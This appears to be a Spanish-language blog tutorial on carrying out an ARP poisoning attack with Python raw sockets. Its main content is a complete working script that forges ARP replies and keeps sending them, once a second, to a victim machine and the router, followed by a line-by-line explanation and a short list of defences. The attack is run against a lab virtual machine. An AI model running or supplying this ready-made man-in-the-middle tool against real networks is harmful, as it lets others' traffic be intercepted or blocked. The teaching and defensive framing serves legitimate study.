Hoy te voy a enseñar cómo implementar un ataque ARP poisoning (Envenenamiento de caches ARP). Para ello utilizaré raw sockets en Python, el objetivo es ver cómo funcionan este tipo de sockets, que aprendas como funciona este ataque o que puedas realizar pruebas en tu red (aunque para eso ya existen herramientas por la red), no que lo utilices con fines maliciosos.
El funcionamiento del protocolo ARP es sencillo, cuando tu mandas un paquete a alguien, se comprobará la cache del dispositivo, si existe esa traducción la tomará para enviar el paquete, si no existe ARP enviará un paquete broadcast (es especial, tiene la dirección MAC de destino ff:ff:ff:ff:ff:ff), este paquete llegará a todos los dispositivos de la red, y “preguntará” quién tiene la dirección IP buscada, cada dispositivo al ver la MAC especial leerá el paquete, y solo el que tenga la dirección IP buscada contestará indicando su MAC, en ese momento se almacenará en la cache, para no tener que volver a preguntar en los próximos minutos.
El ataque ARP poisoning es utilizado para espiar los datos que pasan por una red, o también podemos usarlo para que los datos no lleguen a los destinos a los que se dirigen. Este ataque consiste en mandar constantemente paquetes ARP a la red indicando que nuestra MAC corresponde a la IP de la víctima y que nuestra MAC está asociada a la IP del router. Debemos mandar los paquetes constantemente debido a que es un protocolo dinámico, por lo que la cache va cambiando, puede ser que la traducción se borre, se actualice con los datos reales, entonces para asegurarnos mandamos paquetes cada poco tiempo, no son muy pesados, por lo que normalmente no van a sobrecargar la red.
Para comenzar nuestro ejemplo necesitamos saber las direcciones IP de la víctima y de la puerta de enlace del router, así como su MAC, puedes utilizar nmap para descubrir los dispositivos activos en tu red, y la MAC la puedes obtener de manera fácil, por ejemplo queremos envenenar la cache de la dirección 192.168.66.2, que va a ser mi víctima (una máquina virtual), voy a ejecutar lo siguiente en la cmd o terminal:
Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1El -c y -n indica que se envíe un solo paquete, cada sistema operativo tiene un parámetro diferente. Posteriormente ponemos:
arp -aNos va a indicar la cache ARP, por lo tanto podemos ver las traducciones que tenemos almacenadas (y al haber hecho un ping anteriormente ya tenemos la traducción con la víctima). Tenemos que hacer lo mismo con la puerta de enlace del router:
A continuación voy a poner todos los datos que tenemos para tenerlos mano:
- Víctima -> 192.168.66.2 / MAC: 00:50:56:e3:d1:75
- Router -> IP: 192.168.66.1 / MAC: 00:50:56:c0:00:08
- Mi PC -> IP: 192.168.66.128 / MAC: 00:0c:29:5e:cb:5f
Pongo el código completo y lo explico más abajo, funciona para Python en su versión 2.x, pero con pequeños cambios lo puedes adaptar a la versión 3.x:
import socket import time, struct, binascii conexion = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) conexion.bind(("ens33", socket.htons(0x0800))) macOrigen = "\x00\x0c\x29\x5e\xcb\x5f" macVictima = "\x00\x50\x56\xe3\xd1\x75" macRouter = "\x00\x50\x56\xc0\x00\x08" codigo ="\x08\x06" paqueteComun = macOrigen + codigo eth1 = macVictima + paqueteComun eth2 = macRouter + paqueteComun tipoHardware = "\x00\x01" tipoProtocolo = "\x08\x00" longitudHardware = "\x06" longitudProtocolo = "\x04" codigoOperacion = "\x00\x02" cabeceraCompartida = tipoHardware+tipoProtocolo+longitudHardware+longitudProtocolo+codigoOperacion+macOrigen ipRouter = socket.inet_aton("192.168.66.1") ipVictima = socket.inet_aton("192.168.66.2") arpVictima = eth1 + cabeceraCompartida + ipRouter + macVictima + ipVictima arpRouter = eth2 + cabeceraCompartida + ipVictima + macRouter + ipRouter print("Envenenando caches... para parar CTRL + C") while True: conexion.send(arpRouter) conexion.send(arpVictima) time.sleep(1)Lo primero que hacemos es importar las librerías necesarias, que no necesita mayor explicación. Sigamos con las siguientes líneas:
conexion = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) conexion.bind(("ens33", socket.htons(0x0800)))La primera línea crea un socket, con las siguientes características:
- PF_PACKET: Para enviar y recibir paquetes a bajo nivel.
- SOCK_RAW: Para utilizar raw sockets.
- socket.htons(0x0800): El 0x0800 nos va a definir el protocolo ETH_P_IP, la función ntohs convierte del formato de red a bytes en el formato adecuado para nuestro computador (s significa short, es decir 16 bits, si tuviera una l, serían 32 bits).
Y la segunda se va a encargar de poner a "escuchar" al socket:
- ens33: es la interfaz de red donde vamos a trabajar, la tuya puede ser eth0, si usas un ifconfig lo veras (mirar imagen de abajo).
- socket.htons(0x800): lo mismo que se ha dicho antes.
Las líneas que vemos a continuación van a crear las cabeceras de Ethernet, para ello establecemos las MAC, y el código (el que ponemos pertenece al protocolo ARP), si quieres saber más sobre Ethernet pincha aquí:
macOrigen = "\x00\x0c\x29\x5e\xcb\x5f" macVictima = "\x00\x50\x56\xe3\xd1\x75" macRouter = "\x00\x50\x56\xc0\x00\x08" codigo ="\x08\x06" paqueteComun = macOrigen + codigo eth1 = macVictima + paqueteComun eth2 = macRouter + paqueteComunLa siguiente parte del código monta los paquetes ARP, para consultar la estructura puedes visitar el siguiente enlace y dirígete a la sección de estructura del paquete. El código de operación \x00\x02 es para indicar que es un paquete de respuesta (si fuera 1 sería de petición), y la función socket.inet_aton() convierte una dirección IPv4 a formato binario de 32 bits. Como has podido ver en el código anterior y ves ahora para ir creando un paquete vamos concatenando sus partes.
tipoHardware = "\x00\x01" tipoProtocolo = "\x08\x00" longitudHardware = "\x06" longitudProtocolo = "\x04" codigoOperacion = "\x00\x02" cabeceraCompartida = tipoHardware+tipoProtocolo+longitudHardware+longitudProtocolo+codigoOperacion+macOrigen ipRouter = socket.inet_aton("192.168.66.1") ipVictima = socket.inet_aton("192.168.66.2") arpVictima = eth1 + cabeceraCompartida + ipRouter + macVictima + ipVictima arpRouter = eth2 + cabeceraCompartida + ipVictima + macRouter + ipRouterLa última parte del código muestra un mensaje para saber que está trabajando y entra en un bucle infinito que irá mandando paquetes para envenenar las caches de nuestra víctima y la puerta de enlace del router, esto lo hace cada segundo ya que tenemos un sleep.
print("Envenenando caches... para parar CTRL + C") while True: conexion.send(arpRouter) conexion.send(arpVictima) time.sleep(1)Vamos a ver cómo se ve la ejecución del programa (tenemos que ejecutarlo como usuario root):
Y si miramos la cache de la víctima, podemos ver que su dirección IP ahora está asociada a la MAC del atacante:
- Usar tablas ARP estáticas, añadimos nosotros a mano las entradas y no las dejamos variar.
- Consultar ARP inverso, este protocolo nos devolverá la dirección IP a partir de una MAC, así que si nos devuelve más de una dirección IP, es probable que nos hayan hecho spoofing.
Estás medidas requieren de un mínimo de conocimientos, por lo que no todo el mundo podrá llevarlo a cabo, pero consultando en nuestra sección de preguntas o tutoriales de Seguridad IT seguro que encuentras ayuda.
Por si quieres el código aquí te dejo un zip:
Obra maestra Josué. Te sigo experto en Sec. IT. Buen tutorial de ARP Poisoning, lo dejo en favoritos.